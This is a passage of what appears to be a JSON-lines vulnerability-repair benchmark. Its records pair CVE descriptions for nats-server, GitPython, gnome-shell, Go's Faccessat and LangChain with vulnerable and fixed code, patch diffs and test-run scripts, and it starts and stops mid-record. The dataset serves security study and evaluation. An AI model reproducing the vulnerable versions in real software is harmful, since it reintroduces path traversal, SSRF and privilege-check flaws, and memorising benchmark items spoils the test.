FIXME(dlc) - Capture errors?\n\to.updateDelivered(dseq, seq, dc, ts)\n\n\t// If we are ack none and mset is interest only we should make sure stream removes interest.\n\tif ap == AckNone && mset.cfg.Retention != LimitsPolicy {\n\t\tif o.node == nil || o.cfg.Direct {\n\t\t\tmset.ackq.push(seq)\n\t\t} else {\n\t\t\to.updateAcks(dseq, seq)\n\t\t}\n\t}\n}"}], "vul_patch": "--- a/server/consumer.go\n+++ b/server/consumer.go\n@@ -1,4 +1,4 @@\n-func (o *consumer) needFlowControl() bool {\n+func (o *consumer) needFlowControl(sz int) bool {\n \tif o.maxpb == 0 {\n \t\treturn false\n \t}\n@@ -7,5 +7,9 @@\n \tif o.fcid == _EMPTY_ && o.pbytes > o.maxpb/2 {\n \t\treturn true\n \t}\n+\t// If we have an existing outstanding FC, check to see if we need to expand the o.fcsz\n+\tif o.fcid != _EMPTY_ && (o.pbytes-o.fcsz) >= o.maxpb {\n+\t\to.fcsz += sz\n+\t}\n \treturn false\n }\n\n--- /dev/null\n+++ b/server/consumer.go\n@@ -0,0 +1,70 @@\n+func (o *consumer) deliverMsg(dsubj, subj string, hdr, msg []byte, seq, dc uint64, ts int64) {\n+\tif o.mset == nil {\n+\t\treturn\n+\t}\n+\t// Update pending on first attempt. This can go upside down for a short bit, that is ok.\n+\t// See adjustedPending().\n+\tif dc == 1 {\n+\t\to.sgap--\n+\t}\n+\n+\tdseq := o.dseq\n+\to.dseq++\n+\n+\t// If headers only do not send msg payload.\n+\t// Add in msg size itself as header.\n+\tif o.cfg.HeadersOnly {\n+\t\tvar bb bytes.Buffer\n+\t\tif len(hdr) == 0 {\n+\t\t\tbb.WriteString(hdrLine)\n+\t\t} else {\n+\t\t\tbb.Write(hdr)\n+\t\t\tbb.Truncate(len(hdr) - LEN_CR_LF)\n+\t\t}\n+\t\tbb.WriteString(JSMsgSize)\n+\t\tbb.WriteString(\": \")\n+\t\tbb.WriteString(strconv.FormatInt(int64(len(msg)), 10))\n+\t\tbb.WriteString(CR_LF)\n+\t\tbb.WriteString(CR_LF)\n+\t\thdr = bb.Bytes()\n+\t\t// Cancel msg payload\n+\t\tmsg = nil\n+\t}\n+\n+\tpmsg := newJSPubMsg(dsubj, subj, o.ackReply(seq, dseq, dc, ts, o.adjustedPending()), hdr, msg, o, seq)\n+\tpsz := pmsg.size()\n+\n+\tif o.maxpb > 0 {\n+\t\to.pbytes += psz\n+\t}\n+\n+\tmset := o.mset\n+\tap := o.cfg.AckPolicy\n+\n+\t// Send message.\n+\to.outq.send(pmsg)\n+\n+\tif ap == AckExplicit || ap == AckAll {\n+\t\to.trackPending(seq, dseq)\n+\t} else if ap == AckNone {\n+\t\to.adflr = dseq\n+\t\to.asflr = seq\n+\t}\n+\n+\t// Flow control.\n+\tif o.maxpb > 0 && o.needFlowControl(psz) {\n+\t\to.sendFlowControl()\n+\t}\n+\n+\t// FIXME(dlc) - Capture errors?\n+\to.updateDelivered(dseq, seq, dc, ts)\n+\n+\t// If we are ack none and mset is interest only we should make sure stream removes interest.\n+\tif ap == AckNone && mset.cfg.Retention != LimitsPolicy {\n+\t\tif o.node == nil || o.cfg.Direct {\n+\t\t\tmset.ackq.push(seq)\n+\t\t} else {\n+\t\t\to.updateAcks(dseq, seq)\n+\t\t}\n+\t}\n+}\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2022-24450:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/nats-server\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\ngo test  -timeout 30s -run ^TestJetStreamFlowControlStall$ github.com/nats-io/nats-server/v2/server\n", "unit_test_cmd": "\n#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2022-24450:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/nats-server\ngit apply --whitespace=nowarn /workspace/fix.patch\ngo test  -timeout 30s -run ^TestJetStreamFlowControlRequiresHeartbeats$ github.com/nats-io/nats-server/v2/server\n"}
{"cve_id": "CVE-2023-41040", "cve_description": "GitPython is a python library used to interact with Git repositories. In order to resolve some git references, GitPython reads files from the `.git` directory, in some places the name of the file being read is provided by the user, GitPython doesn't check if this file is located outside the `.git` directory. This allows an attacker to make GitPython read any file from the system. This vulnerability is present in https://github.com/gitpython-developers/GitPython/blob/1c8310d7cae144f74a671cbe17e51f63a830adbf/git/refs/symbolic.py#L174-L175. That code joins the base directory with a user given string without checking if the final path is located outside the base directory. This vulnerability cannot be used to read the contents of files but could in theory be used to trigger a denial of service for the program. This issue has been addressed in version 3.1.37.", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/gitpython-developers/GitPython", "patch_url": ["https://github.com/gitpython-developers/GitPython/commit/74e55ee4544867e1bd976b7df5a45869ee397b0b", "https://github.com/gitpython-developers/GitPython/commit/e98f57b81f792f0f5e18d33ee658ae395f9aa3c4"], "programing_language": "Python", "vul_func": [{"id": "vul_py_59_1", "commit": "1774f1e", "file_path": "git/refs/symbolic.py", "start_line": 165, "end_line": 205, "snippet": "    def _get_ref_info_helper(\n        cls, repo: \"Repo\", ref_path: Union[PathLike, None]\n    ) -> Union[Tuple[str, None], Tuple[None, str]]:\n        \"\"\"Return: (str(sha), str(target_ref_path)) if available, the sha the file at\n        rela_path points to, or None. target_ref_path is the reference we\n        point to, or None\"\"\"\n        if \"..\" in str(ref_path):\n            raise ValueError(f\"Invalid reference '{ref_path}'\")\n        tokens: Union[None, List[str], Tuple[str, str]] = None\n        repodir = _git_dir(repo, ref_path)\n        try:\n            with open(os.path.join(repodir, str(ref_path)), \"rt\", encoding=\"UTF-8\") as fp:\n                value = fp.read().rstrip()\n            # Don't only split on spaces, but on whitespace, which allows to parse lines like\n            # 60b64ef992065e2600bfef6187a97f92398a9144                branch 'master' of git-server:/path/to/repo\n            tokens = value.split()\n            assert len(tokens) != 0\n        except OSError:\n            # Probably we are just packed, find our entry in the packed refs file\n            # NOTE: We are not a symbolic ref if we are in a packed file, as these\n            # are excluded explicitly\n            for sha, path in cls._iter_packed_refs(repo):\n                if path != ref_path:\n                    continue\n                # sha will be used\n                tokens = sha, path\n                break\n            # END for each packed ref\n        # END handle packed refs\n        if tokens is None:\n            raise ValueError(\"Reference at %r does not exist\" % ref_path)\n\n        # is it a reference ?\n        if tokens[0] == \"ref:\":\n            return (None, tokens[1])\n\n        # its a commit\n        if repo.re_hexsha_only.match(tokens[0]):\n            return (tokens[0], None)\n\n        raise ValueError(\"Failed to parse reference information from %r\" % ref_path)"}], "fix_func": [{"id": "fix_py_59_1", "commit": "e98f57b81f792f0f5e18d33ee658ae395f9aa3c4", "file_path": "git/refs/symbolic.py", "start_line": 210, "end_line": 241, "snippet": "    def _get_ref_info_helper(\n        cls, repo: \"Repo\", ref_path: Union[PathLike, None]\n    ) -> Union[Tuple[str, None], Tuple[None, str]]:\n        \"\"\"Return: (str(sha), str(target_ref_path)) if available, the sha the file at\n        rela_path points to, or None. target_ref_path is the reference we\n        point to, or None\"\"\"\n        if ref_path:\n            cls._check_ref_name_valid(ref_path)\n\n        tokens: Union[None, List[str], Tuple[str, str]] = None\n        repodir = _git_dir(repo, ref_path)\n        try:\n            with open(os.path.join(repodir, str(ref_path)), \"rt\", encoding=\"UTF-8\") as fp:\n                value = fp.read().rstrip()\n            # Don't only split on spaces, but on whitespace, which allows to parse lines like\n            # 60b64ef992065e2600bfef6187a97f92398a9144                branch 'master' of git-server:/path/to/repo\n            tokens = value.split()\n            assert len(tokens) != 0\n        except OSError:\n            # Probably we are just packed, find our entry in the packed refs file\n            # NOTE: We are not a symbolic ref if we are in a packed file, as these\n            # are excluded explicitly\n            for sha, path in cls._iter_packed_refs(repo):\n                if path != ref_path:\n                    continue\n                # sha will be used\n                tokens = sha, path\n                break\n            # END for each packed ref\n        # END handle packed refs\n        if tokens is None:\n            raise ValueError(\"Reference at %r does not exist\" % ref_path)"}, {"id": "fix_py_59_2", "commit": "e98f57b81f792f0f5e18d33ee658ae395f9aa3c4", "file_path": "git/refs/symbolic.py", "start_line": 164, "end_line": 208, "snippet": "    @staticmethod\n    def _check_ref_name_valid(ref_path: PathLike) -> None:\n        # Based on the rules described in https://git-scm.com/docs/git-check-ref-format/#_description\n        previous: Union[str, None] = None\n        one_before_previous: Union[str, None] = None\n        for c in str(ref_path):\n            if c in \" ~^:?*[\\\\\":\n                raise ValueError(\n                    f\"Invalid reference '{ref_path}': references cannot contain spaces, tildes (~), carets (^),\"\n                    f\" colons (:), question marks (?), asterisks (*), open brackets ([) or backslashes (\\\\)\"\n                )\n            elif c == \".\":\n                if previous is None or previous == \"/\":\n                    raise ValueError(\n                        f\"Invalid reference '{ref_path}': references cannot start with a period (.) or contain '/.'\"\n                    )\n                elif previous == \".\":\n                    raise ValueError(f\"Invalid reference '{ref_path}': references cannot contain '..'\")\n            elif c == \"/\":\n                if previous == \"/\":\n                    raise ValueError(f\"Invalid reference '{ref_path}': references cannot contain '//'\")\n                elif previous is None:\n                    raise ValueError(\n                        f\"Invalid reference '{ref_path}': references cannot start with forward slashes '/'\"\n                    )\n            elif c == \"{\" and previous == \"@\":\n                raise ValueError(f\"Invalid reference '{ref_path}': references cannot contain '@{{'\")\n            elif ord(c) < 32 or ord(c) == 127:\n                raise ValueError(f\"Invalid reference '{ref_path}': references cannot contain ASCII control characters\")\n\n            one_before_previous = previous\n            previous = c\n\n        if previous == \".\":\n            raise ValueError(f\"Invalid reference '{ref_path}': references cannot end with a period (.)\")\n        elif previous == \"/\":\n            raise ValueError(f\"Invalid reference '{ref_path}': references cannot end with a forward slash (/)\")\n        elif previous == \"@\" and one_before_previous is None:\n            raise ValueError(f\"Invalid reference '{ref_path}': references cannot be '@'\")\n        elif any([component.endswith(\".lock\") for component in str(ref_path).split(\"/\")]):\n            raise ValueError(\n                f\"Invalid reference '{ref_path}': references cannot have slash-separated components that end with\"\n                f\" '.lock'\"\n            )\n"}], "vul_patch": "--- a/git/refs/symbolic.py\n+++ b/git/refs/symbolic.py\n@@ -4,8 +4,9 @@\n         \"\"\"Return: (str(sha), str(target_ref_path)) if available, the sha the file at\n         rela_path points to, or None. target_ref_path is the reference we\n         point to, or None\"\"\"\n-        if \"..\" in str(ref_path):\n-            raise ValueError(f\"Invalid reference '{ref_path}'\")\n+        if ref_path:\n+            cls._check_ref_name_valid(ref_path)\n+\n         tokens: Union[None, List[str], Tuple[str, str]] = None\n         repodir = _git_dir(repo, ref_path)\n         try:\n@@ -29,13 +30,3 @@\n         # END handle packed refs\n         if tokens is None:\n             raise ValueError(\"Reference at %r does not exist\" % ref_path)\n-\n-        # is it a reference ?\n-        if tokens[0] == \"ref:\":\n-            return (None, tokens[1])\n-\n-        # its a commit\n-        if repo.re_hexsha_only.match(tokens[0]):\n-            return (tokens[0], None)\n-\n-        raise ValueError(\"Failed to parse reference information from %r\" % ref_path)\n\n--- /dev/null\n+++ b/git/refs/symbolic.py\n@@ -0,0 +1,44 @@\n+    @staticmethod\n+    def _check_ref_name_valid(ref_path: PathLike) -> None:\n+        # Based on the rules described in https://git-scm.com/docs/git-check-ref-format/#_description\n+        previous: Union[str, None] = None\n+        one_before_previous: Union[str, None] = None\n+        for c in str(ref_path):\n+            if c in \" ~^:?*[\\\\\":\n+                raise ValueError(\n+                    f\"Invalid reference '{ref_path}': references cannot contain spaces, tildes (~), carets (^),\"\n+                    f\" colons (:), question marks (?), asterisks (*), open brackets ([) or backslashes (\\\\)\"\n+                )\n+            elif c == \".\":\n+                if previous is None or previous == \"/\":\n+                    raise ValueError(\n+                        f\"Invalid reference '{ref_path}': references cannot start with a period (.) or contain '/.'\"\n+                    )\n+                elif previous == \".\":\n+                    raise ValueError(f\"Invalid reference '{ref_path}': references cannot contain '..'\")\n+            elif c == \"/\":\n+                if previous == \"/\":\n+                    raise ValueError(f\"Invalid reference '{ref_path}': references cannot contain '//'\")\n+                elif previous is None:\n+                    raise ValueError(\n+                        f\"Invalid reference '{ref_path}': references cannot start with forward slashes '/'\"\n+                    )\n+            elif c == \"{\" and previous == \"@\":\n+                raise ValueError(f\"Invalid reference '{ref_path}': references cannot contain '@{{'\")\n+            elif ord(c) < 32 or ord(c) == 127:\n+                raise ValueError(f\"Invalid reference '{ref_path}': references cannot contain ASCII control characters\")\n+\n+            one_before_previous = previous\n+            previous = c\n+\n+        if previous == \".\":\n+            raise ValueError(f\"Invalid reference '{ref_path}': references cannot end with a period (.)\")\n+        elif previous == \"/\":\n+            raise ValueError(f\"Invalid reference '{ref_path}': references cannot end with a forward slash (/)\")\n+        elif previous == \"@\" and one_before_previous is None:\n+            raise ValueError(f\"Invalid reference '{ref_path}': references cannot be '@'\")\n+        elif any([component.endswith(\".lock\") for component in str(ref_path).split(\"/\")]):\n+            raise ValueError(\n+                f\"Invalid reference '{ref_path}': references cannot have slash-separated components that end with\"\n+                f\" '.lock'\"\n+            )\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2023-41040:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/GitPython\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\n/workspace/PoC_env/CVE-2023-41040/bin/python -m pytest test/test_refs.py::TestRefs::test_validity_ref_names\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2023-41040:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/GitPython\ngit apply --whitespace=nowarn /workspace/fix.patch\n/workspace/PoC_env/CVE-2023-41040/bin/python -m pytest test/test_refs.py -k \"not test_head_checkout_detached_head and not test_is_valid and not test_tag_message and not test_heads and not test_head_reset and not test_tags_author and not test_tag_base\" --deselect=test/test_refs.py::TestRefs::test_refs -p no:warning --disable-warnings"}
{"cve_id": "CVE-2017-8288", "cve_description": "gnome-shell 3.22 through 3.24.1 mishandles extensions that fail to reload, which can lead to leaving extensions enabled in the lock screen. With these extensions, a bystander could launch applications (but not interact with them), see information from the extensions (e.g., what applications you have opened or what music you were playing), or even execute arbitrary commands. It all depends on what extensions a user has enabled. The problem is caused by lack of exception handling in js/ui/extensionSystem.js.", "cwe_info": {"CWE-20": {"name": "Improper Input Validation", "description": "The product receives input or data, but it does\n        not validate or incorrectly validates that the input has the\n        properties that are required to process the data safely and\n        correctly."}}, "repo": "https://github.com/GNOME/gnome-shell", "patch_url": ["https://github.com/GNOME/gnome-shell/commit/ff425d1db7082e2755d2a405af53861552acf2a1"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_245_1", "commit": "9a65f20", "file_path": "js/ui/extensionSystem.js", "start_line": 279, "end_line": 293, "snippet": "function _onVersionValidationChanged() {\n    // we want to reload all extensions, but only enable\n    // extensions when allowed by the sessionMode, so\n    // temporarily disable them all\n    enabledExtensions = [];\n    for (let uuid in ExtensionUtils.extensions)\n        reloadExtension(ExtensionUtils.extensions[uuid]);\n    enabledExtensions = getEnabledExtensions();\n\n    if (Main.sessionMode.allowExtensions) {\n        enabledExtensions.forEach(function(uuid) {\n            enableExtension(uuid);\n        });\n    }\n}"}], "fix_func": [{"id": "fix_js_245_1", "commit": "ff425d1db7082e2755d2a405af53861552acf2a1", "file_path": "js/ui/extensionSystem.js", "start_line": 279, "end_line": 301, "snippet": "function _onVersionValidationChanged() {\n    // we want to reload all extensions, but only enable\n    // extensions when allowed by the sessionMode, so\n    // temporarily disable them all\n    enabledExtensions = [];\n    for (let uuid in ExtensionUtils.extensions)\n        try {\n            reloadExtension(ExtensionUtils.extensions[uuid]);\n        } catch(e) {\n            logExtensionError(uuid, e);\n        }\n    enabledExtensions = getEnabledExtensions();\n\n    if (Main.sessionMode.allowExtensions) {\n        enabledExtensions.forEach(function(uuid) {\n            try {\n                enableExtension(uuid);\n            } catch(e) {\n                logExtensionError(uuid, e);\n            }\n        });\n    }\n}"}], "vul_patch": "--- a/js/ui/extensionSystem.js\n+++ b/js/ui/extensionSystem.js\n@@ -4,12 +4,20 @@\n     // temporarily disable them all\n     enabledExtensions = [];\n     for (let uuid in ExtensionUtils.extensions)\n-        reloadExtension(ExtensionUtils.extensions[uuid]);\n+        try {\n+            reloadExtension(ExtensionUtils.extensions[uuid]);\n+        } catch(e) {\n+            logExtensionError(uuid, e);\n+        }\n     enabledExtensions = getEnabledExtensions();\n \n     if (Main.sessionMode.allowExtensions) {\n         enabledExtensions.forEach(function(uuid) {\n-            enableExtension(uuid);\n+            try {\n+                enableExtension(uuid);\n+            } catch(e) {\n+                logExtensionError(uuid, e);\n+            }\n         });\n     }\n }\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-29526", "cve_description": "Go before 1.17.10 and 1.18.x before 1.18.2 has Incorrect Privilege Assignment. When called with a non-zero flags parameter, the Faccessat function could incorrectly report that a file is accessible.", "cwe_info": {"CWE-269": {"name": "Improper Privilege Management", "description": "The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor."}}, "repo": "https://github.com/golang/go", "patch_url": ["https://github.com/golang/go/commit/c0599c5b781de023974519194df6b0c4ebb0adff", "https://github.com/golang/go/commit/04781d14d2d33acbaf70f77e3a58ae0f3c90757c"], "programing_language": "Go", "vul_func": [{"id": "vul_go_247_1", "commit": "2d6881b91a9bc62d55db30bf4546f929d52072be", "file_path": "src/syscall/syscall_linux.go", "start_line": 57, "end_line": 124, "snippet": "func Faccessat(dirfd int, path string, mode uint32, flags int) (err error) {\n\tif flags & ^(_AT_SYMLINK_NOFOLLOW|_AT_EACCESS) != 0 {\n\t\treturn EINVAL\n\t}\n\n\t// The Linux kernel faccessat system call does not take any flags.\n\t// The glibc faccessat implements the flags itself; see\n\t// https://sourceware.org/git/?p=glibc.git;a=blob;f=sysdeps/unix/sysv/linux/faccessat.c;hb=HEAD\n\t// Because people naturally expect syscall.Faccessat to act\n\t// like C faccessat, we do the same.\n\n\tif flags == 0 {\n\t\treturn faccessat(dirfd, path, mode)\n\t}\n\n\tvar st Stat_t\n\tif err := fstatat(dirfd, path, &st, flags&_AT_SYMLINK_NOFOLLOW); err != nil {\n\t\treturn err\n\t}\n\n\tmode &= 7\n\tif mode == 0 {\n\t\treturn nil\n\t}\n\n\tvar uid int\n\tif flags&_AT_EACCESS != 0 {\n\t\tuid = Geteuid()\n\t} else {\n\t\tuid = Getuid()\n\t}\n\n\tif uid == 0 {\n\t\tif mode&1 == 0 {\n\t\t\t// Root can read and write any file.\n\t\t\treturn nil\n\t\t}\n\t\tif st.Mode&0111 != 0 {\n\t\t\t// Root can execute any file that anybody can execute.\n\t\t\treturn nil\n\t\t}\n\t\treturn EACCES\n\t}\n\n\tvar fmode uint32\n\tif uint32(uid) == st.Uid {\n\t\tfmode = (st.Mode >> 6) & 7\n\t} else {\n\t\tvar gid int\n\t\tif flags&_AT_EACCESS != 0 {\n\t\t\tgid = Getegid()\n\t\t} else {\n\t\t\tgid = Getgid()\n\t\t}\n\n\t\tif uint32(gid) == st.Gid || isGroupMember(gid) {\n\t\t\tfmode = (st.Mode >> 3) & 7\n\t\t} else {\n\t\t\tfmode = st.Mode & 7\n\t\t}\n\t}\n\n\tif fmode&mode == mode {\n\t\treturn nil\n\t}\n\n\treturn EACCES\n}"}], "fix_func": [{"id": "fix_go_247_1", "commit": "c0599c5b781de023974519194df6b0c4ebb0adff", "file_path": "src/syscall/syscall_linux.go", "start_line": 57, "end_line": 124, "snippet": "func Faccessat(dirfd int, path string, mode uint32, flags int) (err error) {\n\tif flags & ^(_AT_SYMLINK_NOFOLLOW|_AT_EACCESS) != 0 {\n\t\treturn EINVAL\n\t}\n\n\t// The Linux kernel faccessat system call does not take any flags.\n\t// The glibc faccessat implements the flags itself; see\n\t// https://sourceware.org/git/?p=glibc.git;a=blob;f=sysdeps/unix/sysv/linux/faccessat.c;hb=HEAD\n\t// Because people naturally expect syscall.Faccessat to act\n\t// like C faccessat, we do the same.\n\n\tif flags == 0 {\n\t\treturn faccessat(dirfd, path, mode)\n\t}\n\n\tvar st Stat_t\n\tif err := fstatat(dirfd, path, &st, flags&_AT_SYMLINK_NOFOLLOW); err != nil {\n\t\treturn err\n\t}\n\n\tmode &= 7\n\tif mode == 0 {\n\t\treturn nil\n\t}\n\n\tvar uid int\n\tif flags&_AT_EACCESS != 0 {\n\t\tuid = Geteuid()\n\t} else {\n\t\tuid = Getuid()\n\t}\n\n\tif uid == 0 {\n\t\tif mode&1 == 0 {\n\t\t\t// Root can read and write any file.\n\t\t\treturn nil\n\t\t}\n\t\tif st.Mode&0111 != 0 {\n\t\t\t// Root can execute any file that anybody can execute.\n\t\t\treturn nil\n\t\t}\n\t\treturn EACCES\n\t}\n\n\tvar fmode uint32\n\tif uint32(uid) == st.Uid {\n\t\tfmode = (st.Mode >> 6) & 7\n\t} else {\n\t\tvar gid int\n\t\tif flags&_AT_EACCESS != 0 {\n\t\t\tgid = Getegid()\n\t\t} else {\n\t\t\tgid = Getgid()\n\t\t}\n\n\t\tif uint32(gid) == st.Gid || isGroupMember(int(st.Gid)) {\n\t\t\tfmode = (st.Mode >> 3) & 7\n\t\t} else {\n\t\t\tfmode = st.Mode & 7\n\t\t}\n\t}\n\n\tif fmode&mode == mode {\n\t\treturn nil\n\t}\n\n\treturn EACCES\n}"}], "vul_patch": "--- a/src/syscall/syscall_linux.go\n+++ b/src/syscall/syscall_linux.go\n@@ -53,7 +53,7 @@\n \t\t\tgid = Getgid()\n \t\t}\n \n-\t\tif uint32(gid) == st.Gid || isGroupMember(gid) {\n+\t\tif uint32(gid) == st.Gid || isGroupMember(int(st.Gid)) {\n \t\t\tfmode = (st.Mode >> 3) & 7\n \t\t} else {\n \t\t\tfmode = st.Mode & 7\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-0243", "cve_description": "With the following crawler configuration:\n\n```python\nfrom bs4 import BeautifulSoup as Soup\n\nurl = \"https://example.com\"\nloader = RecursiveUrlLoader(\n    url=url, max_depth=2, extractor=lambda x: Soup(x, \"html.parser\").text\n)\ndocs = loader.load()\n```\n\nAn attacker in control of the contents of `https://example.com` could place a malicious HTML file in there with links like \"https://example.completely.different/my_file.html\" and the crawler would proceed to download that file as well even though `prevent_outside=True`.\n\nhttps://github.com/langchain-ai/langchain/blob/bf0b3cc0b5ade1fb95a5b1b6fa260e99064c2e22/libs/community/langchain_community/document_loaders/recursive_url_loader.py#L51-L51\n\nResolved in https://github.com/langchain-ai/langchain/pull/15559", "cwe_info": {"CWE-918": {"name": "Server-Side Request Forgery (SSRF)", "description": "The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination."}}, "repo": "https://github.com/langchain-ai/langchain", "patch_url": ["https://github.com/langchain-ai/langchain/commit/bf0b3cc0b5ade1fb95a5b1b6fa260e99064c2e22"], "programing_language": "Python", "vul_func": [{"id": "vul_py_29_1", "commit": "817b84d", "file_path": "libs/core/langchain_core/utils/html.py", "start_line": 47, "end_line": 89, "snippet": "def extract_sub_links(\n    raw_html: str,\n    url: str,\n    *,\n    base_url: Optional[str] = None,\n    pattern: Union[str, re.Pattern, None] = None,\n    prevent_outside: bool = True,\n    exclude_prefixes: Sequence[str] = (),\n) -> List[str]:\n    \"\"\"Extract all links from a raw html string and convert into absolute paths.\n\n    Args:\n        raw_html: original html.\n        url: the url of the html.\n        base_url: the base url to check for outside links against.\n        pattern: Regex to use for extracting links from raw html.\n        prevent_outside: If True, ignore external links which are not children\n            of the base url.\n        exclude_prefixes: Exclude any URLs that start with one of these prefixes.\n\n    Returns:\n        List[str]: sub links\n    \"\"\"\n    base_url = base_url if base_url is not None else url\n    all_links = find_all_links(raw_html, pattern=pattern)\n    absolute_paths = set()\n    for link in all_links:\n        # Some may be absolute links like https://to/path\n        if link.startswith(\"http\"):\n            absolute_paths.add(link)\n        # Some may have omitted the protocol like //to/path\n        elif link.startswith(\"//\"):\n            absolute_paths.add(f\"{urlparse(url).scheme}:{link}\")\n        else:\n            absolute_paths.add(urljoin(url, link))\n    res = []\n    for path in absolute_paths:\n        if any(path.startswith(exclude) for exclude in exclude_prefixes):\n            continue\n        if prevent_outside and not path.startswith(base_url):\n            continue\n        res.append(path)\n    return res"}], "fix_func": [{"id": "fix_py_29_1", "commit": "bf0b3cc", "file_path": "libs/core/langchain_core/utils/html.py", "start_line": 47, "end_line": 103, "snippet": "def extract_sub_links(\n    raw_html: str,\n    url: str,\n    *,\n    base_url: Optional[str] = None,\n    pattern: Union[str, re.Pattern, None] = None,\n    prevent_outside: bool = True,\n    exclude_prefixes: Sequence[str] = (),\n) -> List[str]:\n    \"\"\"Extract all links from a raw html string and convert into absolute paths.\n\n    Args:\n        raw_html: original html.\n        url: the url of the html.\n        base_url: the base url to check for outside links against.\n        pattern: Regex to use for extracting links from raw html.\n        prevent_outside: If True, ignore external links which are not children\n            of the base url.\n        exclude_prefixes: Exclude any URLs that start with one of these prefixes.\n\n    Returns:\n        List[str]: sub links\n    \"\"\"\n    base_url_to_use = base_url if base_url is not None else url\n    parsed_base_url = urlparse(base_url_to_use)\n    all_links = find_all_links(raw_html, pattern=pattern)\n    absolute_paths = set()\n    for link in all_links:\n        parsed_link = urlparse(link)\n        # Some may be absolute links like https://to/path\n        if parsed_link.scheme == \"http\" or parsed_link.scheme == \"https\":\n            absolute_path = link\n        # Some may have omitted the protocol like //to/path\n        elif link.startswith(\"//\"):\n            absolute_path = f\"{urlparse(url).scheme}:{link}\"\n        else:\n            absolute_path = urljoin(url, parsed_link.path)\n        absolute_paths.add(absolute_path)\n\n    results = []\n    for path in absolute_paths:\n        if any(path.startswith(exclude_prefix) for exclude_prefix in exclude_prefixes):\n            continue\n\n        if prevent_outside:\n            parsed_path = urlparse(path)\n\n            if parsed_base_url.netloc != parsed_path.netloc:\n                continue\n\n            # Will take care of verifying rest of path after netloc\n            # if it's more specific\n            if not path.startswith(base_url_to_use):\n                continue\n\n        results.append(path)\n    return results"}], "vul_patch": "--- a/libs/core/langchain_core/utils/html.py\n+++ b/libs/core/langchain_core/utils/html.py\n@@ -21,23 +21,37 @@\n     Returns:\n         List[str]: sub links\n     \"\"\"\n-    base_url = base_url if base_url is not None else url\n+    base_url_to_use = base_url if base_url is not None else url\n+    parsed_base_url = urlparse(base_url_to_use)\n     all_links = find_all_links(raw_html, pattern=pattern)\n     absolute_paths = set()\n     for link in all_links:\n+        parsed_link = urlparse(link)\n         # Some may be absolute links like https://to/path\n-        if link.startswith(\"http\"):\n-            absolute_paths.add(link)\n+        if parsed_link.scheme == \"http\" or parsed_link.scheme == \"https\":\n+            absolute_path = link\n         # Some may have omitted the protocol like //to/path\n         elif link.startswith(\"//\"):\n-            absolute_paths.add(f\"{urlparse(url).scheme}:{link}\")\n+            absolute_path = f\"{urlparse(url).scheme}:{link}\"\n         else:\n-            absolute_paths.add(urljoin(url, link))\n-    res = []\n+            absolute_path = urljoin(url, parsed_link.path)\n+        absolute_paths.add(absolute_path)\n+\n+    results = []\n     for path in absolute_paths:\n-        if any(path.startswith(exclude) for exclude in exclude_prefixes):\n+        if any(path.startswith(exclude_prefix) for exclude_prefix in exclude_prefixes):\n             continue\n-        if prevent_outside and not path.startswith(base_url):\n-            continue\n-        res.append(path)\n-    return res\n+\n+        if prevent_outside:\n+            parsed_path = urlparse(path)\n+\n+            if parsed_base_url.netloc != parsed_path.netloc:\n+                continue\n+\n+            # Will take care of verifying rest of path after netloc\n+            # if it's more specific\n+            if not path.startswith(base_url_to_use):\n+                continue\n+\n+        results.append(path)\n+    return results\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2024-0243:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/langchain\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\ncd libs/core && /workspace/PoC_env/CVE-2024-0243/bin/python -m pytest tests/unit_tests/utils/test_html.py -v -o addopts=\"\" -k \"test_prevent_outside\"\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2024-0243:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/langchain\ngit apply --whitespace=nowarn  /workspace/fix.patch\ncd libs/core && /workspace/PoC_env/CVE-2024-0243/bin/python -m pytest tests/unit_tests/utils/test_html.py -v -o addopts=\"\"\n"}
{"cve_id": "CVE-2023-34540", "cve_description": "Langchain before v0.0.225 was discovered to contain a remote code execution (RCE) vulnerability in the component JiraAPIWrapper (aka the JIRA API wrapper). This vulnerability allows attackers to execute arbitrary code via crafted input. As noted in the \"releases/tag\" reference, a fix is available.", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/langchain-ai/langchain", "patch_url": 